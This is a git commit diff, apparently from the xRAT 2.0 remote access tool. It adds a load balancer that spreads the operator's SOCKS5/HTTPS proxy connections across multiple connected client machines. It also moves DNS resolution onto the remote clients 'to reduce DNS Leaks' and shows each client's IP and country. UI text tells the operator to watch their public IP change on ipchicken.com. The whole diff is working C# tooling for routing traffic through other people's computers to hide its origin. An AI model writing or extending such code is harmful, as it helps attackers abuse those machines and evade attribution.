Reverse Proxy Updates & Load Balancer

Added a Load Balancer, this will try balancing all the proxy connections
over multiple clients (keep refreshing ipchicken.com to see the cool
effect)
Resolve the DNS Hostname of the Target server at the Remote Client to
reduce DNS Leaks
This commit is contained in:
DragonHunter 2015-05-16 20:39:35 +02:00
parent 4bdfb18b8e
commit 42d7382fff
8 changed files with 145 additions and 43 deletions

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using System;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets
@ -18,16 +19,34 @@ public class ReverseProxyConnectResponse : IPacket
[ProtoMember(4)]
public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort)
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
{
this.ConnectionId = connectionId;
this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint;
this.LocalPort = localPort;
this.HostName = "";
if (isConnected)
{
try
{
//resolve the HostName of the Server
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
{
HostName = entry.HostName;
}
}
catch { HostName = ""; }
}
}
public void Execute(Client client)

View File

@ -46,16 +46,16 @@ private void Handle_Connect(IAsyncResult ar)
}
catch
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
Disconnect();
}
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port, this.Target).Execute(Client);
}
else
{
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
}
}

View File

@ -18,6 +18,9 @@ public class ReverseProxyConnectResponse : IPacket
[ProtoMember(4)]
public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse()
{
}

View File

@ -79,7 +79,7 @@ public int ConnectionId
public ProxyType Type { get; private set; }
private ReverseProxyServer Server;
public ListViewItem ListItem { get; set; }
public string HostName { get; private set; }
public bool ProxySuccessful { get; private set; }
@ -349,6 +349,8 @@ public void CommandResponse(ReverseProxyConnectResponse response)
if (response.IsConnected)
{
this.HostName = response.HostName;
//tell the Proxy Client that we've established a connection
if (Type == ProxyType.HTTPS)
{

View File

@ -17,7 +17,7 @@ public class ReverseProxyServer
private Socket _socket;
private List<ReverseProxyClient> _clients;
public ReverseProxyClient[] Clients
public ReverseProxyClient[] ProxyClients
{
get
{
@ -49,19 +49,25 @@ public ReverseProxyClient[] OpenConnections
}
public Client Client { get; private set; }
public Client[] Clients { get; private set; }
//We can also use the Random class but not sure if that will evenly spread the connections
//The Random class might even fail to make use of all the clients
private uint ClientIndex;
public ReverseProxyServer()
{
_clients = new List<ReverseProxyClient>();
}
public void StartServer(Client client, string ipAddress, int port)
public void StartServer(Client[] clients, string ipAddress, int port)
{
Stop();
this.Client = client;
this.Client.Value.ProxyServer = this;
this.Clients = clients;
for(int i = 0; i < clients.Length; i++)
this.Clients[i].Value.ProxyServer = this;
this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port));
@ -75,7 +81,8 @@ private void socket_BeginAccept(IAsyncResult ar)
{
lock (_clients)
{
_clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this));
_clients.Add(new ReverseProxyClient(Clients[ClientIndex % Clients.Length], this._socket.EndAccept(ar), this));
ClientIndex++;
}
}
catch

View File

@ -727,9 +727,22 @@ private void ctxtReverseProxy_Click(object sender, EventArgs e)
c.Value.FrmProxy.Focus();
return;
}
FrmReverseProxy frmRS = new FrmReverseProxy(c);
FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
frmRS.Show();
}
}
private Client[] GetSelectedClients()
{
List<Client> clients = new List<Client>();
for (int i = 0; i < lstClients.SelectedItems.Count; i++)
{
if (lstClients.SelectedItems[i].Tag as Client != null)
clients.Add(lstClients.SelectedItems[i].Tag as Client);
}
return clients.ToArray();
}
}
}

View File

@ -37,16 +37,20 @@ private void InitializeComponent()
this.nudServerPort = new System.Windows.Forms.NumericUpDown();
this.tabCtrl = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.LvConnections = new xServer.Controls.ListViewEx();
this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lblLoadBalance = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit();
this.tabCtrl.SuspendLayout();
this.tabPage1.SuspendLayout();
@ -88,6 +92,7 @@ private void InitializeComponent()
this.nudServerPort.Name = "nudServerPort";
this.nudServerPort.Size = new System.Drawing.Size(120, 22);
this.nudServerPort.TabIndex = 2;
this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.nudServerPort.Value = new decimal(new int[] {
3128,
0,
@ -101,10 +106,10 @@ private void InitializeComponent()
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.tabCtrl.Controls.Add(this.tabPage1);
this.tabCtrl.Location = new System.Drawing.Point(26, 82);
this.tabCtrl.Location = new System.Drawing.Point(26, 115);
this.tabCtrl.Name = "tabCtrl";
this.tabCtrl.SelectedIndex = 0;
this.tabCtrl.Size = new System.Drawing.Size(533, 261);
this.tabCtrl.Size = new System.Drawing.Size(736, 274);
this.tabCtrl.TabIndex = 3;
//
// tabPage1
@ -113,11 +118,25 @@ private void InitializeComponent()
this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(525, 235);
this.tabPage1.Size = new System.Drawing.Size(728, 248);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Open Connections";
this.tabPage1.UseVisualStyleBackColor = true;
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26);
//
// killConnectionToolStripMenuItem
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
//
// btnStop
//
this.btnStop.Enabled = false;
@ -138,23 +157,20 @@ private void InitializeComponent()
this.lblProxyInfo.TabIndex = 5;
this.lblProxyInfo.Text = "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:3128 (no user/pass)";
//
// contextMenuStrip1
// label1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26);
//
// killConnectionToolStripMenuItem
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(23, 67);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(404, 13);
this.label1.TabIndex = 6;
this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks";
//
// LvConnections
//
this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader6,
this.columnHeader7,
this.columnHeader1,
this.columnHeader2,
this.columnHeader3,
@ -166,13 +182,23 @@ private void InitializeComponent()
this.LvConnections.GridLines = true;
this.LvConnections.Location = new System.Drawing.Point(3, 3);
this.LvConnections.Name = "LvConnections";
this.LvConnections.Size = new System.Drawing.Size(519, 229);
this.LvConnections.Size = new System.Drawing.Size(722, 242);
this.LvConnections.TabIndex = 0;
this.LvConnections.UseCompatibleStateImageBehavior = false;
this.LvConnections.View = System.Windows.Forms.View.Details;
this.LvConnections.VirtualMode = true;
this.LvConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem);
//
// columnHeader6
//
this.columnHeader6.Text = "Client IP";
this.columnHeader6.Width = 106;
//
// columnHeader7
//
this.columnHeader7.Text = "Client Country";
this.columnHeader7.Width = 106;
//
// columnHeader1
//
this.columnHeader1.Text = "Target Server";
@ -198,11 +224,22 @@ private void InitializeComponent()
this.columnHeader5.Text = "Proxy Type";
this.columnHeader5.Width = 90;
//
// lblLoadBalance
//
this.lblLoadBalance.AutoSize = true;
this.lblLoadBalance.Location = new System.Drawing.Point(23, 84);
this.lblLoadBalance.Name = "lblLoadBalance";
this.lblLoadBalance.Size = new System.Drawing.Size(105, 13);
this.lblLoadBalance.TabIndex = 7;
this.lblLoadBalance.Text = "[Load Balance Info]";
//
// FrmReverseProxy
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(574, 356);
this.ClientSize = new System.Drawing.Size(777, 402);
this.Controls.Add(this.lblLoadBalance);
this.Controls.Add(this.label1);
this.Controls.Add(this.lblProxyInfo);
this.Controls.Add(this.btnStop);
this.Controls.Add(this.tabCtrl);
@ -210,7 +247,6 @@ private void InitializeComponent()
this.Controls.Add(this.lblLocalServerPort);
this.Controls.Add(this.btnStart);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.Name = "FrmReverseProxy";
@ -243,5 +279,9 @@ private void InitializeComponent()
private System.Windows.Forms.Label lblProxyInfo;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem;
private System.Windows.Forms.ColumnHeader columnHeader6;
private System.Windows.Forms.ColumnHeader columnHeader7;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label lblLoadBalance;
}
}

View File

@ -1,4 +1,5 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.ReverseProxy;
@ -7,22 +8,36 @@ namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
private readonly Client _connectClient;
private readonly Client[] clients;
private ReverseProxyServer SocksServer { get; set; }
private delegate void Invoky();
private ReverseProxyClient[] OpenConnections;
private Timer RefreshTimer;
public FrmReverseProxy(Client client)
public FrmReverseProxy(Client[] clients)
{
InitializeComponent();
_connectClient = client;
_connectClient.Value.FrmProxy = this;
this.clients = clients;
for(int i = 0; i < clients.Length; i++)
clients[i].Value.FrmProxy = this;
}
private void FrmReverseProxy_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
if (clients.Length > 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]");
lblLoadBalance.Text = "The Load Balancer is active, " + clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (clients.Length == 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", clients[0].EndPoint.Address.ToString(), clients[0].EndPoint.Port.ToString());
lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer";
}
}
private void btnStart_Click(object sender, EventArgs e)
@ -32,7 +47,7 @@ private void btnStart_Click(object sender, EventArgs e)
SocksServer = new ReverseProxyServer();
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value);
SocksServer.StartServer(clients, "0.0.0.0", (int)nudServerPort.Value);
btnStart.Enabled = false;
btnStop.Enabled = true;
@ -107,10 +122,11 @@ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
//Stop the proxy server if still active
btnStop_Click(sender, null);
if (_connectClient.Value != null)
_connectClient.Value.FrmProxy = null;
for (int i = 0; i < clients.Length; i++)
{
if (clients[i].Value != null)
clients[i].Value.FrmProxy = null;
}
}
private void nudServerPort_ValueChanged(object sender, EventArgs e)
@ -128,7 +144,9 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte
e.Item = new ListViewItem(new string[]
{
Connection.TargetServer,
Connection.Client.EndPoint.ToString(),
Connection.Client.Value.Country,
Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""),
Connection.TargetPort.ToString(),
GetSizeStr(Connection.LengthReceived),
GetSizeStr(Connection.LengthSended),